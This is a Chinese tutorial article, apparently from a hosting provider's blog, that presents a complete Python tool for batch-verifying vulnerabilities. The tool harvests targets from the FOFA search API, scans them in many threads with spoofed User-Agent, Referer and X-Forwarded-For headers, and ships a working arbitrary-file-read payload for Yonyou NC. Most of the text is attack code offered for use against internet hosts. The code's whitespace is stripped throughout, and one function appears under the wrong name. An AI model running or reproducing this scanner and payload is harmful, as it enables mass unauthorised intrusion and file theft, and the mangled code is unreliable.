这篇文章主要介绍“Python实现POC漏洞批量验证程序的脚本怎么写”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Python实现POC漏洞批量验证程序的脚本怎么写”文章能帮助大家解决问题。

需求分析

1、poc尽可能简单。

2、多线程。

3、联动fofa获取目标。

4、随机请求头.

实现过程

脚本分为三个模块,获取poc及目标、多线程批量请求验证、输出结果。其中批量请求验证包括构造多线程,修改请求参数,发送请求三个部分。

Main函数

在main函数中,主要有三个部分获取poc及目标,多线程(将目标填充到队列,创建多线程并启动)、输出结果。
具体实现如下:

defmain():#响应Ctrl+C停止程序signal.signal(signal.SIGINT,quit)signal.signal(signal.SIGTERM,quit)showpocs()##获取目标targetList=getTarget()##多线程批量请求验证thread(targetList)##输出结果putTarget(List)获取目标

关于目标来源,设计单个目标、从文件中读取多个目标以及根据FoFa语法从FOFA_API中获取目标三种方式。

定义函数getTarget,函数分为两个部分

第一部分为根据-f Fofa语法获取目标,默认数目为30条,

第二部分为根据-u url / -i file / -f num(数目,默认为10)获取要请求验证的目标,两部分以是否传参poc参数区别,最后返回一个targetList列表。

具体实现如下:

defgetTarget():targetList=[]count=0ifresult.poc==None:ifresult.outfile!=Noneandresult.fofa!=None:#FOFA读取目标ifresult.fofa!=None:qbase=result.fofaqbase64=str(base64.b64encode(qbase.encode("utf-8")),"utf-8")print("FOFA搜索:"+qbase)fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"try:res=requests.get(fofa_url)results=json.loads(res.text)filepath=result.outfilewithopen(filepath,'w')astargets:foriinresults['results']:targets.write(i[1]+'\n')print(i[1])count+=1print("搜索结果有"+str(count)+"条,已保存在"+filepath+"里!")exceptExceptionase:print(e)sys.exit()else:ifresult.url!=Noneorresult.file!=Noneorresult.fofa!=None:#单个目标ifresult.url!=None:targetList.append(result.url)#文件读取目标ifresult.file!=None:try:filepath=result.filewithopen(filepath,'r')astargets:fortargetintargets.readlines():targetList.append(target.strip())exceptExceptionase:print(e)#FOFA读取目标ifresult.fofa!=None:qbase=""pocName=result.pocwithopen('poc.json',encoding='UTF-8')asf:data=json.load(f)forpocindata:ifpocName==poc:qbase=data[poc]['fofa']qbase64=str(base64.b64encode(qbase.encode("utf-8")),"utf-8")try:fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)res=requests.get(fofa_url)results=json.loads(res.text)print("FOFA搜索:"+qbase)print("搜索结果:"+str(result.fofa)+"条")foriinresults['results']:targetList.append(i[1])#print(targetList)exceptExceptionase:print(e)returntargetListelse:sys.exit("参错有误!缺少目标!")批量请求验证

定义thread函数,封装多线程请求相关代码,需传入获取到的目标参数targetList。
具体实现如下:

defthread(targetList):##获取pocpoc=poc_load()##填充队列queueLock.acquire()fortargetintargetList:targetQueue.put(target)queueLock.release()##创建线程threadList=[]threadNum=result.threadNumforiinrange(0,threadNum):t=reqThread(targetQueue,poc)t.setDaemon(True)threadList.append(t)foriinthreadList:i.start()#等待所有线程完成fortinthreadList:t.join()加载POC

请求验证必须使用-p pocName参数指定要使用的POC,所有POC在poc.json文件中存储。

具体实现如下

#加载pocdefpoc_load():ifresult.poc!=None:poc=result.pocisPoc=False#POC是否存在#读取json文件withopen('poc.json',encoding='UTF-8')asf:data=json.load(f)forkeyindata:ifpoc==key:isPoc=TrueifisPoc==False:print("POC不存在!")sys.exit("请通过--show查看poc列表!")else:returndata[poc]else:pass多线程类

定义reqThread线程类,传入队列以及poc两个参数,封装req请求方法。
具体实现如下:

classreqThread(threading.Thread):def__init__(self,q,poc):threading.Thread.__init__(self)self.q=qself.poc=pocdefrun(self):try:whilenotself.q.empty():queueLock.acquire()target=self.q.get()queueLock.release()ifself.req(target):print(target+"isvuln!")List.append(target)else:passexceptExceptionase:passdefreq(self,url):poc=self.pocpayload=urlParse(url)+poc['request']['url']res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)ifres.status_code==200andpoc['request']['confirm']inres.text:returnTrueelse:returnFalse

其中在req中的请求方法内,存在三个修改请求的方法。

urlParse

对获取到的目标进行文本处理。

#处理urldefurlParse(url):if"https://"notinurl:if"http://"inurl:url=urlelse:url="http://"+urlreturnurlgetProxy

指定请求代理。

#代理defurlParse(url):if"https://"notinurl:if"http://"inurl:url=urlelse:url="http://"+urlreturnurlrandomHeaders

添加随机User-Agent、referer、XFF等请求头参数值。

defrandomHeaders(poc):headers={}uaList=['Mozilla/5.0(X11;Linuxx86_64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.100Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS13_3_1likeMacOSX;zh-CN)AppleWebKit/537.51.1(KHTML,likeGecko)Mobile/17D50UCBrowser/12.8.2.1268MobileAliApp(TUnionSDK/0.1.20.3)','Mozilla/5.0(Macintosh;IntelMacOSX10_14_3)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.116Safari/537.36','Mozilla/5.0(Linux;Android8.1.0;OPPOR11tBuild/OPM1.171019.011;wv)AppleWebKit/537.36(KHTML,likeGecko)Version/4.0Chrome/76.0.3809.89MobileSafari/537.36T7/11.19SP-engine/2.15.0baiduboxapp/11.19.5.10(Baidu;P18.1.0)','Mozilla/5.0(WindowsNT6.3;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/78.0.3904.108Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS13_3_1likeMacOSX)AppleWebKit/605.1.15(KHTML,likeGecko)Mobile/15E148SP-engine/2.14.0main%2F1.0baiduboxapp/11.18.0.16(Baidu;P213.3.1)NABar/0.0','Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/64.0.3282.140Safari/537.36Edge/17.17134','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/75.0.3770.100Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS12_4_4likeMacOSX)AppleWebKit/605.1.15(KHTML,likeGecko)Mobile/15E148MicroMessenger/7.0.10(0x17000a21)NetType/4GLanguage/zh_CN','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/74.0.3729.169Safari/537.36','Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/78.0.3904.108Safari/537.36','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/55.0.2883.87Safari/537.36','Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/74.0.3729.108Safari/537.36','Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/75.0.3770.100Safari/537.36','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.106Safari/537.36',]refList=["www.baidu.com"]xffList=['127.0.0.1','51.77.144.148','80.93.212.46','109.123.115.10','187.44.229.50','190.14.232.58','5.166.57.222','36.94.142.165','52.149.152.236','68.15.147.8','188.166.215.141','190.211.82.174','101.51.139.179']if'User-Agent'inpoc['request']['headers']:ifpoc['request']['headers']['User-Agent'].strip()!='':headers['User-Agent']=poc['request']['headers']['User-Agent']else:headers['User-Agent']=random.choice(uaList)if'referer'inpoc['request']['headers']:ifpoc['request']['headers']['referer'].strip()!='':headers['referer']=poc['request']['headers']['referer']else:headers['referer']=random.choice(refList)if'X-Forwarded-For'inpoc['request']['headers']:ifpoc['request']['headers']['User-Agent'].strip()!='':headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']else:headers['X-Forwarded-For']=random.choice(xffList)forkeyinpoc['request']['headers']:ifkey!="referer"andkey!="User-Agent"andkey!="X-Forwarded-For":headers[key]=poc['request']['headers'][key]returnheaders输出结果

定义全局变量List,储存要输出的目标,定义输出方法putTarget。
具体实现如下:

List=[]##输出defputTarget(resultList):ifresult.file!=Noneorresult.fofa!=None:iflen(resultList)!=0:ifresult.outfile!=None:filepath=result.outfilewithopen(filepath,'w')astargets:fortargetinresultList:targets.write(target+'\n')print("验证结果有"+str(len(resultList))+"条,已保存在"+filepath+"里!")else:print("没有发现存在漏洞的目标!")else:pass其他全局变量

#忽略https告警requests.packages.urllib3.disable_warnings(InsecureRequestWarning)##队列targetQueue=queue.Queue(100)##锁queueLock=threading.Lock()#结果List=[]#FoFAemail=""key=""命令行读取参数

arg=ArgumentParser(description='POC_Verify')arg.add_argument('-u',dest='url',help='TargetURL',type=str)arg.add_argument('-i','--file',dest='file',help='Scanmultipletargetsgiveninatextualfile',type=str)arg.add_argument('-f',"--fofa",dest='fofa',help='fofaqueryNums/StringExampleifpoc-f10else-f"abc"default=30',default=10)arg.add_argument('-p',dest='poc',help='LoadPOCfilefrompoc.json')arg.add_argument('-proxy',dest='proxy',help='UseaproxytoconnecttothetargetURLExample:-proxyhttp:127.0.0.1:8080',type=str)arg.add_argument('-t',dest='threadNum',help='thethread_count,default=10',type=int,default=10)arg.add_argument('-show',dest='show',help='showallpocs',nargs='?',const='all',type=str)arg.add_argument('-o','--outfile',dest='outfile',help='thefilesaveresult',default='result.txt',type=str)result=arg.parse_args()poc详情显示

##显示pocdefshowpocs():isPoc=Falseifresult.show!=None:#读取json文件withopen('poc.json',encoding='UTF-8')asf:data=json.load(f)ifresult.show=="all":print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")forkeyindata:print(key.ljust(20),data[key]['name'].ljust(20))else:ifresult.showindata:print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")print(result.show.ljust(20),data[result.show]['name'].ljust(20))sys.exit()else:passCtrl+C结束线程

#停止程序defquit(signum,frame):print('Youchoosetostopme.')sys.exit()defmain():#响应Ctrl+C停止程序signal.signal(signal.SIGINT,quit)signal.signal(signal.SIGTERM,quit)poc.json文件

poc本质为一次HTTP请求,本着简单的原则,仅设计名称、联动fofa的语法、请求头、请求内容、以及验证漏洞存在回显的内容5个字段。

{"pocname":{"name":"漏洞描述","fofa":"fofa搜索字符串,特殊符号需要转义","request":{"method":"","url":"","headers":{"referer":"","User-Agent":"","X-Forwarded-For":"","Content-Type":""},"data":"","confirm":"回显字符串"}},"yonyounc":{"name":"用友NC任意文件读取","fofa":"app=\"用友-UFIDA-NC\"","request":{"method":"get","url":"/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp","headers":{"referer":"","User-Agent":"","X-Forwarded-For":""},"data":"","confirm":"<%@pagelanguage="}}}运行结果FoFa获取目标

poc验证

总结

代码实现基本功能,已暂时符合自己使用需求,此次实践已完成编写目的,但一些容错机制以及细小功能点还需完善,如输入为空程序运行结果,以及代理模块功能待实现。

通过此次编程,在熟悉Python编程的同时也深感代码功底的薄弱。

不过最后还是学习到不少知识,比如多线程、读写文件、数据类型操作、命令行参数读取、编程模块化思想等。
&emsp;&emsp;

之后可以多尝试使用python编写小demo工具,避免对编程思维生疏。

完整代码

importrequestsfromrequests.packages.urllib3.exceptionsimportInsecureRequestWarningfromargparseimportArgumentParserimportjsonimportbase64importrandomimportthreadingimportqueueimporttimeimportsys,signal#忽略https告警requests.packages.urllib3.disable_warnings(InsecureRequestWarning)##队列targetQueue=queue.Queue(100)##锁queueLock=threading.Lock()#结果List=[]#FoFAemail=""key=""arg=ArgumentParser(description='POC_Verify')arg.add_argument('-u',dest='url',help='TargetURL',type=str)arg.add_argument('-i','--file',dest='file',help='Scanmultipletargetsgiveninatextualfile',type=str)arg.add_argument('-f',"--fofa",dest='fofa',help='fofaqueryNums/StringExampleifpoc-f10else-f"abc"default=30',default=10)arg.add_argument('-p',dest='poc',help='LoadPOCfilefrompoc.json')arg.add_argument('-proxy',dest='proxy',help='UseaproxytoconnecttothetargetURLExample:-proxyhttp:127.0.0.1:8080',type=str)arg.add_argument('-t',dest='threadNum',help='thethread_count,default=10',type=int,default=10)arg.add_argument('-show',dest='show',help='showallpocs',nargs='?',const='all',type=str)arg.add_argument('-o','--outfile',dest='outfile',help='thefilesaveresult',default='result.txt',type=str)result=arg.parse_args()classreqThread(threading.Thread):def__init__(self,q,poc):threading.Thread.__init__(self)self.q=qself.poc=pocdefrun(self):try:whilenotself.q.empty():queueLock.acquire()target=self.q.get()queueLock.release()ifself.req(target):print(target+"isvuln!")List.append(target)else:passexceptExceptionase:passdefreq(self,url):poc=self.pocpayload=urlParse(url)+poc['request']['url']res=requests.request(method=poc['request']['method'],url=payload,headers=randomHeaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)ifres.status_code==200andpoc['request']['confirm']inres.text:returnTrueelse:returnFalse##IP代理defgetProxy():proxy={}ifresult.proxy!=None:proxy[result.proxy[:result.proxy.index(":")]]=result.proxy[result.proxy.index(":")+1:]returnproxy#处理urldefurlParse(url):if"https://"notinurl:if"http://"inurl:url=urlelse:url="http://"+urlreturnurl#随机更换User-Agent、XFF、refererdefrandomHeaders(poc):headers={}uaList=['Mozilla/5.0(X11;Linuxx86_64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.100Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS13_3_1likeMacOSX;zh-CN)AppleWebKit/537.51.1(KHTML,likeGecko)Mobile/17D50UCBrowser/12.8.2.1268MobileAliApp(TUnionSDK/0.1.20.3)','Mozilla/5.0(Macintosh;IntelMacOSX10_14_3)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.116Safari/537.36','Mozilla/5.0(Linux;Android8.1.0;OPPOR11tBuild/OPM1.171019.011;wv)AppleWebKit/537.36(KHTML,likeGecko)Version/4.0Chrome/76.0.3809.89MobileSafari/537.36T7/11.19SP-engine/2.15.0baiduboxapp/11.19.5.10(Baidu;P18.1.0)','Mozilla/5.0(WindowsNT6.3;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/78.0.3904.108Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS13_3_1likeMacOSX)AppleWebKit/605.1.15(KHTML,likeGecko)Mobile/15E148SP-engine/2.14.0main%2F1.0baiduboxapp/11.18.0.16(Baidu;P213.3.1)NABar/0.0','Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/64.0.3282.140Safari/537.36Edge/17.17134','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/75.0.3770.100Safari/537.36','Mozilla/5.0(iPhone;CPUiPhoneOS12_4_4likeMacOSX)AppleWebKit/605.1.15(KHTML,likeGecko)Mobile/15E148MicroMessenger/7.0.10(0x17000a21)NetType/4GLanguage/zh_CN','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/74.0.3729.169Safari/537.36','Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/78.0.3904.108Safari/537.36','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/55.0.2883.87Safari/537.36','Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/74.0.3729.108Safari/537.36','Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/75.0.3770.100Safari/537.36','Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.0.3987.106Safari/537.36',]refList=["www.baidu.com"]xffList=['127.0.0.1','51.77.144.148','80.93.212.46','109.123.115.10','187.44.229.50','190.14.232.58','5.166.57.222','36.94.142.165','52.149.152.236','68.15.147.8','188.166.215.141','190.211.82.174','101.51.139.179']if'User-Agent'inpoc['request']['headers']:ifpoc['request']['headers']['User-Agent'].strip()!='':headers['User-Agent']=poc['request']['headers']['User-Agent']else:headers['User-Agent']=random.choice(uaList)if'referer'inpoc['request']['headers']:ifpoc['request']['headers']['referer'].strip()!='':headers['referer']=poc['request']['headers']['referer']else:headers['referer']=random.choice(refList)if'X-Forwarded-For'inpoc['request']['headers']:ifpoc['request']['headers']['User-Agent'].strip()!='':headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']else:headers['X-Forwarded-For']=random.choice(xffList)forkeyinpoc['request']['headers']:ifkey!="referer"andkey!="User-Agent"andkey!="X-Forwarded-For":headers[key]=poc['request']['headers'][key]returnheaders#获取目标defgetTarget():targetList=[]count=0ifresult.poc==None:ifresult.outfile!=Noneandresult.fofa!=None:#FOFA读取目标ifresult.fofa!=None:qbase=result.fofaqbase64=str(base64.b64encode(qbase.encode("utf-8")),"utf-8")print("FOFA搜索:"+qbase)fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"try:res=requests.get(fofa_url)results=json.loads(res.text)filepath=result.outfilewithopen(filepath,'w')astargets:foriinresults['results']:targets.write(i[1]+'\n')print(i[1])count+=1print("搜索结果有"+str(count)+"条,已保存在"+filepath+"里!")exceptExceptionase:print(e)sys.exit()else:ifresult.url!=Noneorresult.file!=Noneorresult.fofa!=None:#单个目标ifresult.url!=None:targetList.append(result.url)#文件读取目标ifresult.file!=None:try:filepath=result.filewithopen(filepath,'r')astargets:fortargetintargets.readlines():targetList.append(target.strip())exceptExceptionase:print(e)#FOFA读取目标ifresult.fofa!=None:qbase=""pocName=result.pocwithopen('poc.json',encoding='UTF-8')asf:data=json.load(f)forpocindata:ifpocName==poc:qbase=data[poc]['fofa']qbase64=str(base64.b64encode(qbase.encode("utf-8")),"utf-8")try:fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)res=requests.get(fofa_url)results=json.loads(res.text)print("FOFA搜索:"+qbase)print("搜索结果:"+str(result.fofa)+"条")foriinresults['results']:targetList.append(i[1])#print(targetList)exceptExceptionase:print(e)returntargetListelse:sys.exit("参错有误!缺少目标!")#加载pocdefpoc_load():ifresult.poc!=None:poc=result.pocisPoc=False#读取json文件withopen('poc.json',encoding='UTF-8')asf:data=json.load(f)forkeyindata:ifpoc==key:isPoc=TrueifisPoc==False:print("POC不存在!")sys.exit("请通过--show查看poc列表!")else:returndata[poc]else:pass##输出defputTarget(resultList):ifresult.file!=Noneorresult.fofa!=None:iflen(resultList)!=0:ifresult.outfile!=None:filepath=result.outfilewithopen(filepath,'w')astargets:fortargetinresultList:targets.write(target+'\n')print("验证结果有"+str(len(resultList))+"条,已保存在"+filepath+"里!")else:print("没有发现存在漏洞的目标!")else:pass##显示pocdefshowpocs():isPoc=Falseifresult.show!=None:#读取json文件withopen('poc.json',encoding='UTF-8')asf:data=json.load(f)ifresult.show=="all":print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")forkeyindata:print(key.ljust(20),data[key]['name'].ljust(20))else:ifresult.showindata:print("pocname".ljust(20),"description".ljust(20))print("----------------------------------------------")print(result.show.ljust(20),data[result.show]['name'].ljust(20))sys.exit()else:pass#停止程序defquit(signum,frame):print('Youchoosetostopme.')sys.exit()defthread(targetList):##获取pocpoc=poc_load()##填充队列queueLock.acquire()fortargetintargetList:targetQueue.put(target)queueLock.release()##创建线程threadList=[]threadNum=result.threadNumforiinrange(0,threadNum):t=reqThread(targetQueue,poc)t.setDaemon(True)threadList.append(t)foriinthreadList:i.start()#等待所有线程完成fortinthreadList:t.join()defmain():#响应Ctrl+C停止程序signal.signal(signal.SIGINT,quit)signal.signal(signal.SIGTERM,quit)showpocs()##获取目标targetList=getTarget()##多线程批量请求验证thread(targetList)##输出结果putTarget(List)if__name__=='__main__':main()

关于“Python实现POC漏洞批量验证程序的脚本怎么写”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注亿速云行业资讯频道,小编每天都会为大家更新不同的知识点。